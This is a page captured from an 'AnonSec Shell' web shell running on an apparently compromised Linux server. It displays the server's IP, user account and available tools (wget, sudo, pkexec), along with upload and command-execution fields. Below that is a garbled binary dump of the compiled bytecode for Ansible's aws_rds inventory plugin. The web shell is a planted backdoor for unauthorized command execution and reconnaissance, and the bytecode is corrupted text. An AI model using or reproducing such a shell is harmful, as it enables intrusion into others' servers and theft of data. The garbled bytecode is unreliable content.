AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 13.58.228.208
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/inventory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyc
�
��\c@`s�ddlmZmZmZeZdZdZddlm	Z	ddl
mZddlm
Z
ddlmZmZddlmZdd	lmZmZmZydd
lZdd
lZWnek
r�e	d��nXdeeefd
��YZd
S(i(tabsolute_importtdivisiontprint_functions�
    name: aws_rds
    plugin_type: inventory
    short_description: rds instance source
    description:
        - Get instances and clusters from Amazon Web Services RDS.
        - Uses a YAML configuration file that ends with aws_rds.(yml|yaml).
    options:
        boto_profile:
          description: The boto profile to use. The plugin will look for an instance role if no credentials
              are provided.
          env:
              - name: AWS_PROFILE
              - name: AWS_DEFAULT_PROFILE
        aws_access_key_id:
          description: The AWS access key to use. If you have specified a profile, you don't need to provide
              an access key/secret key/session token.
          env:
              - name: AWS_ACCESS_KEY_ID
              - name: AWS_ACCESS_KEY
              - name: EC2_ACCESS_KEY
        aws_secret_access_key:
          description: The AWS secret key that corresponds to the access key. If you have specified a profile,
              you don't need to provide an access key/secret key/session token.
          env:
              - name: AWS_SECRET_ACCESS_KEY
              - name: AWS_SECRET_KEY
              - name: EC2_SECRET_KEY
        aws_security_token:
          description: The AWS security token if using temporary access and secret keys.
          env:
              - name: AWS_SECURITY_TOKEN
              - name: AWS_SESSION_TOKEN
              - name: EC2_SECURITY_TOKEN
        regions:
          description: A list of regions in which to describe RDS instances and clusters. Available regions are listed here
              U(https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html)
          default: []
        filters:
          description: A dictionary of filter value pairs. Available filters are listed here
              U(https://docs.aws.amazon.com/cli/latest/reference/rds/describe-db-instances.html#options). If you filter by
              db-cluster-id and I(include_clusters) is True it will apply to clusters as well.
          default: {}
        strict_permissions:
          description: By default if an AccessDenied exception is encountered this plugin will fail. You can set strict_permissions to
              False in the inventory config file which will allow the restrictions to be gracefully skipped.
          type: bool
          default: True
        include_clusters:
          description: Whether or not to query for Aurora clusters as well as instances
          type: bool
          default: False
        statuses:
          description: A list of desired states for instances/clusters to be added to inventory. Set to ['all'] as a shorthand to find everything.
          type: list
          default:
              - creating
              - available
    extends_documentation_fragment:
        - inventory_cache
        - constructed
    requirements:
        - boto3
        - botocore
    author: Sloane Hertel (@s-hertel)
s�
plugin: aws_rds
regions:
  - us-east-1
  - ca-central-1
keyed_groups:
  - key: 'db_parameter_groups|json_query("[].db_parameter_group_name")'
    prefix: rds_parameter_group
  - key: engine
    prefix: rds
  - key: tags
  - key: region
(tAnsibleError(t	to_native(tis_boto3_error_code(t!ansible_dict_to_boto3_filter_listtboto3_tag_list_to_ansible_dict(tcamel_dict_to_snake_dict(tBaseInventoryPlugint
Constructablet	CacheableNs=The RDS dynamic inventory plugin requires boto3 and botocore.tInventoryModulecB`s�eZdZd�Zd�Zd�Zed�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zed
�ZRS(taws_rdscC`s)tt|�j�i|_d|_dS(N(tsuperRt__init__tcredentialstNonetboto_profile(tself((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyRjs	cc`s�x�|D]�}y.tjjd|j�jd||j�}Wn�tjjtjj	fk
r�}|jr�y(tjjd|j�jd|�}Wq�tjjtjj	fk
r�}t
dt|���q�Xq�t
dt|���nX||fVqWdS(s�
            :param regions: A list of regions to create a boto3 client

            Generator that yields a boto3 client and the region
        tprofile_nametrdss"Insufficient credentials found: %sN(tboto3tsessiontSessionRtclientRtbotocoret
exceptionstProfileNotFoundtPartialCredentialsErrorRR(Rtregionstregiont
connectionte((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_boto3_connos
.!	(!c`s"d�����fd�}|S(NcS`s�x�|D]~}d|kr&|d}n
|d}y|jd|�d}Wn.td�k
rz}|sqg}q{|�nX||d<qWdS(Nt
DBInstanceArntDBClusterArntResourceNametTagListtAccessDeniedtTags(tlist_tags_for_resourceR(R thostststrictthosttresource_arnttagsR!((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_add_tags_for_hosts�s


	
c`s�yF|||�}d|kr+|d}n
|d}��|��Wn�td�k
r�}�smg}q�tdjt|����n@tjjtjjfk
r�}tdjt|����nX|S(NtDBInstancest
DBClustersR'sFailed to query RDS: {0}(RRtformatRRRt
BotoCoreErrortClientError(tftargstkwargstresultsR!(R/R R+(sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pytwrapper�s

	!((RR tfiltersR+R9((R/R R+sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_get_hosts_by_region�s	c
C`s�g}g}x�|j|�D]�\}	}
|	jd�}|j|j|	||�|jd|�j��|r|j|j|	||�|	ji|d6��qqWtt|dd��t|dd���}|j	||�S(s�
           :param regions: a list of regions in which to describe hosts
           :param instance_filters: a list of boto3 filter dicionaries
           :param cluster_filters: a list of boto3 filter dicionaries
           :param strict: a boolean determining whether to fail or ignore 403 error codes
           :param statuses: a list of statuses that the returned hosts should match
           :return A list of host dictionaries
        tdescribe_db_instancestFilterstkeycS`s|dS(NtDBInstanceIdentifier((tx((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt<lambda>�scS`s|dS(NtDBClusterIdentifier((R@((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyRA�s(
R"t
get_paginatortextendR;tpaginatetbuild_full_resulttdescribe_db_clusterstlisttsortedtfind_hosts_with_valid_statuses(
RRtinstance_filterstcluster_filtersR+tstatusestgather_clusterst
all_instancestall_clustersR Rt	paginatortsorted_hosts((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_get_all_hosts�s	cC`sud|kr|Sg}xX|D]P}|jd�|krH|j|�q|jd�|kr|j|�qqW|S(NtalltDBInstanceStatustStatus(tgettappend(RR*RMtvalid_hostsR,((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyRJ�s
cC`sLd}|jj|�|rH|jd|d|�|jjd|�ndS(NR
R*tgroupRT(t	inventoryt	add_groupt
_add_hostst	add_child(RR*RZ((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt	_populate�s
cC`s�|jdi�jdi�}x�|D]�}|dkr=q%q%|jj|�||jdg�}x0|D](}|j|g|j|i�|�qjW|jjd|�q%WdS(Nt_metathostvarsRTR*(tpopRWR[R\t_populate_host_varsR^(Rtsource_dataRaRZR*R,((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_populate_from_source�s

&cC`s#|jd�r|dS|dSdS(NR?RB(RW(RR,((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt
_get_hostname�scC`s�iiid6d6}d}igd6||<x\|D]T}|j|�}||dj|�|jj|�}|j|dd|j<q2W|S(NRaR`R
R*(RfRXR[tget_hosttvarstname(RR*R8RZR,thostnameth((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_format_inventory�s
cC`sYxR|D]J}|j|�}t|ddg�}t|jdg��|d<d|krn|dd |d<n%d|kr�|ddd |d<n|jj|d	|�x0|j�D]"\}}|jj|||�q�W|jd
�}|j	|jd�||d
|�|j
|jd�||d
|�|j|jd
�||d
|�qWdS(s�
            :param hosts: a list of hosts to be added to a group
            :param group: the name of the group to which the hosts belong
        tignore_listR(R.tavailability_zonei����Rtavailability_zonesiRZR+tcomposetgroupstkeyed_groupsN(RfRRRWR[tadd_hosttitemstset_variablet
get_optiont_set_composite_varst_add_host_to_composed_groupst_add_host_to_keyed_groups(RR*RZR,RjthostvarthostvalR+((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyR]�s
""cC`s|jd�|_|jd�}|jd�}|jd�}|jr�|oR|r�tjj�}|j�dk	r�|j�j}|j�j}|j�j	}q�n|jr�|o�|r�t
d��n|r�||jd<n|r�||jd<n|r||jd<ndS(sO
            :param config_data: contents of the inventory config file
        Rtaws_access_key_idtaws_secret_access_keytaws_security_tokens�Insufficient boto credentials found. Please provide them in your inventory configuration file or set them as environment variables.taws_session_tokenN(RvRRRtget_sessiontget_credentialsRt
access_keyt
secret_keyttokenRR(RR|R}R~R((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt_set_credentialss$cC`s2tt|�j|�r.|jd�r.tSntS(s�
            :param loader: an ansible.parsing.dataloader.DataLoader object
            :param path: the path to the inventory config file
            :return the contents of the config file
        saws_rds.ymlsaws_rds.yaml(saws_rds.ymlsaws_rds.yaml(RRtverify_filetendswithtTruetFalse(Rtpath((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyR�)sc	C`s�tt|�j|||�|j|�}|j�|jd�}|jd�}|jd�}|jd�}	|jd�}
t|�}g}d|kr�|
r�ti|dd6�}n|j|�}
|r�|jd�}ni}t}|r7y|j	j
|
�}Wntk
r&t}q7X|j
|�n|sD|r�|j|||||	|
�}|j|�|j|�}n|s�|r�|jd�r�|j	j|
|�ndS(NRR:tstrict_permissionsRMtinclude_clusterss
db-cluster-idtcache(RRtparset_read_config_dataR�RvRt
get_cache_keyR�R�RWtKeyErrorR�ReRSR_Rltset(RR[tloaderR�R�tconfig_dataRR:R�RMR�RKRLt	cache_keytformatted_inventorytcache_needs_updateR8((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyR�4s:




(t__name__t
__module__tNAMERR"R;R�RSRJR_ReRfRlR]R�R�R�R�(((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyRfs			$								(t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtEXAMPLEStansible.errorsRtansible.module_utils._textRtansible.module_utils.aws.coreRtansible.module_utils.ec2RRRtansible.plugins.inventoryR	R
RRRtImportErrorR(((sE/usr/lib/python2.7/site-packages/ansible/plugins/inventory/aws_rds.pyt<module>sC


Anon7 - 2022
AnonSec Team